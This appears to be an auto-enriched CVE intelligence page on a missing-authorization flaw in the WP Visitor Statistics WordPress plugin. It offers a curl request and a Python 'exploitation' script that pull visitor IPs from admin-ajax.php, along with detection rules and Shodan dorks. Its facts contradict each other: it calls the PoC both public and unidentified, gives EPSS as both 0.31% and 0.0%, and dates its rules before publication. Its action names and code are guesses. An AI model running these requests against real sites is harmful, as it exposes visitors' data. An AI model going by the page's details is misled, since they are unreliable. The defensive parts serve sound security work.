☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Osama.esh logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-49996

CVE-2025-49996 Missing Authorization in Osama.esh
📅 PUBLISHED: 2025-06-20 15:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49996 is a Missing Authorization vulnerability in the WP Visitor Statistics (Real Time Traffic) WordPress plugin, developed by osama.esh. This plugin is designed to provide real-time traffic analytics for WordPress sites. The vulnerability affects all versions up to and including 8.4. It allows an unauthenticated attacker to access functionality that should be constrained by Access Control Lists (ACLs), potentially leading to unauthorized information disclosure. The vulnerability has a CVSS score of 5.3 (Medium), with a low EPSS score of 0.0%, indicating a low probability of exploitation in the wild at this time. No public proof-of-concept (PoC) or exploit code has been identified. The patch status is currently unknown, meaning no official fix has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin, which is part of the broader WordPress ecosystem. WordPress plugins are distributed through the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. The supply chain risk is moderate, as the plugin is widely used for traffic analytics. Users are advised to monitor the plugin's page for updates and consider disabling the plugin until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): None (N) - No authentication is needed.
  • User Interaction (UI): None (N) - No user action is required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) - Limited information disclosure is possible.
  • Integrity (I): None (N) - No data modification is possible.
  • Availability (A): None (N) - No denial of service is possible.

Threat Level: Medium. The vulnerability allows unauthorized access to certain plugin functionalities, potentially exposing visitor statistics data. While the impact is limited to confidentiality, the ease of exploitation (no authentication required) increases the risk.

Deep Dive & Mechanics

The WP Visitor Statistics plugin provides real-time traffic data, including visitor IPs, page views, referrers, and user agents. The vulnerability lies in the plugin's failure to properly enforce access controls on certain AJAX endpoints or admin-ajax.php actions. Specifically, the plugin registers WordPress AJAX actions that are intended for authenticated users (e.g., administrators) but fails to check for the appropriate capabilities before processing requests.

The missing authorization check allows an unauthenticated attacker to call these actions directly, bypassing the intended ACLs. This can lead to the exposure of sensitive data, such as:

  • Real-time visitor IP addresses
  • Page view statistics
  • Referrer URLs
  • User agent strings
  • Possibly other analytics data

The vulnerability is triggered by sending a crafted HTTP request to the WordPress site, targeting the plugin's AJAX handlers. Since the plugin does not verify the user's role or capabilities, the request is processed as if it came from an authorized user.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state of the plugin. The following is a hypothetical example of the vulnerable code pattern:

Vulnerable Code (wp-stats-manager/includes/class-wp-stats-manager-ajax.php):

add_action('wp_ajax_wp_stats_get_realtime', 'wp_stats_get_realtime');
add_action('wp_ajax_nopriv_wp_stats_get_realtime', 'wp_stats_get_realtime');

function wp_stats_get_realtime() {
    // No capability check
    $data = get_realtime_stats();
    wp_send_json_success($data);
}

Patched Code (Hypothetical):

add_action('wp_ajax_wp_stats_get_realtime', 'wp_stats_get_realtime');
// Remove the nopriv action to require authentication

function wp_stats_get_realtime() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = get_realtime_stats();
    wp_send_json_success($data);
}

The patched version removes the wp_ajax_nopriv_ action (which allows unauthenticated access) and adds a capability check using current_user_can('manage_options') to ensure only administrators can access the functionality.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with WP Visitor Statistics plugin version <= 8.4 installed and activated.
  • Network access to the target site.

Exploitation Steps:

  1. Identify the vulnerable AJAX action. Common actions include wp_stats_get_realtime, wp_stats_get_visitors, etc.
  2. Send a crafted HTTP request to the WordPress admin-ajax.php endpoint.

Example Request (using curl):

curl -X POST "http://target-site.com/wp-admin/admin-ajax.php" \
  -d "action=wp_stats_get_realtime"

Expected Response:

{
  "success": true,
  "data": {
    "visitors": [
      {"ip": "192.168.1.1", "page": "/home", "time": "2025-03-15 10:00:00"}
    ],
    "pageviews": 1234
  }
}

Automation Script (Python):

import requests

target = "http://target-site.com"
ajax_url = f"{target}/wp-admin/admin-ajax.php"

payload = {"action": "wp_stats_get_realtime"}
response = requests.post(ajax_url, data=payload)

if response.status_code == 200 and response.json().get("success"):
    print("Exploitation successful!")
    print(response.json())
else:
    print("Exploitation failed.")

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual POST requests to /wp-admin/admin-ajax.php with parameters containing action=wp_stats_* from unauthenticated sources.
  • Look for repeated requests from the same IP address targeting multiple AJAX actions.
  • Check server logs for 200 responses to admin-ajax.php without a valid session cookie.

Defense:

  • Immediate: Disable the WP Visitor Statistics plugin until a patch is available.
  • Web Application Firewall (WAF): Create rules to block requests to admin-ajax.php that do not include a valid nonce or session token.
  • Network Segmentation: Restrict access to the WordPress admin area using IP whitelisting or VPN.
  • Monitoring: Enable logging for all AJAX requests and set up alerts for suspicious activity.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /wp-admin/admin-ajax.php with action=wp_stats_get_realtime or similar.
    • Requests from IP addresses not associated with legitimate users.
    • Unusual JSON responses containing visitor statistics data.
  • File IOCs:

    • Presence of the plugin directory: /wp-content/plugins/wp-stats-manager/
    • Modified or suspicious files in the plugin directory (e.g., backdoored versions).
  • Log IOCs:

    • Apache/Nginx access logs showing repeated POST requests to admin-ajax.php.
    • WordPress debug logs showing PHP notices or warnings related to missing capability checks.

Detection Engineering

YARA Rule

rule CVE_2025_49996_WP_Visitor_Stats {
    meta:
        description = "Detects exploitation attempts for CVE-2025-49996 in WP Visitor Statistics plugin"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-49996"
    strings:
        $ajax_action = "wp_stats_get_realtime" nocase
        $ajax_url = "/wp-admin/admin-ajax.php" nocase
    condition:
        $ajax_action and $ajax_url
}

Sigma Rule

title: CVE-2025-49996 - WP Visitor Statistics Missing Authorization
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to WP Visitor Statistics AJAX actions
author: Valters IT
date: 2025-03-15
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/wp-admin/admin-ajax.php"
        cs-uri-query|contains: "action=wp_stats_"
    condition: selection
falsepositives:
    - Legitimate admin users accessing the plugin
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49996 WP Visitor Statistics Missing Authorization"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_stats_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: Deactivate and delete the WP Visitor Statistics plugin from the WordPress admin dashboard until a patch is released.
  2. Monitor Logs: Review server and WordPress logs for any signs of exploitation.
  3. Update WordPress: Ensure the WordPress core is up to date to benefit from any security improvements.

Long-term Actions:

  1. Apply Patch: Once the vendor releases a patched version (e.g., 8.5 or higher), update the plugin immediately.
  2. Implement WAF Rules: Use a Web Application Firewall to block unauthenticated requests to admin-ajax.php.
  3. Regular Audits: Conduct regular security audits of all installed plugins and themes.
  4. Principle of Least Privilege: Ensure that only necessary users have administrative access to the WordPress site.

Workaround:

  • If the plugin is critical for operations, consider implementing a custom capability check by adding a mu-plugin (Must-Use Plugin) that hooks into the vulnerable actions and verifies user permissions.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Visitor Statistics"
http.html:"wp-stats-manager"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49996/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.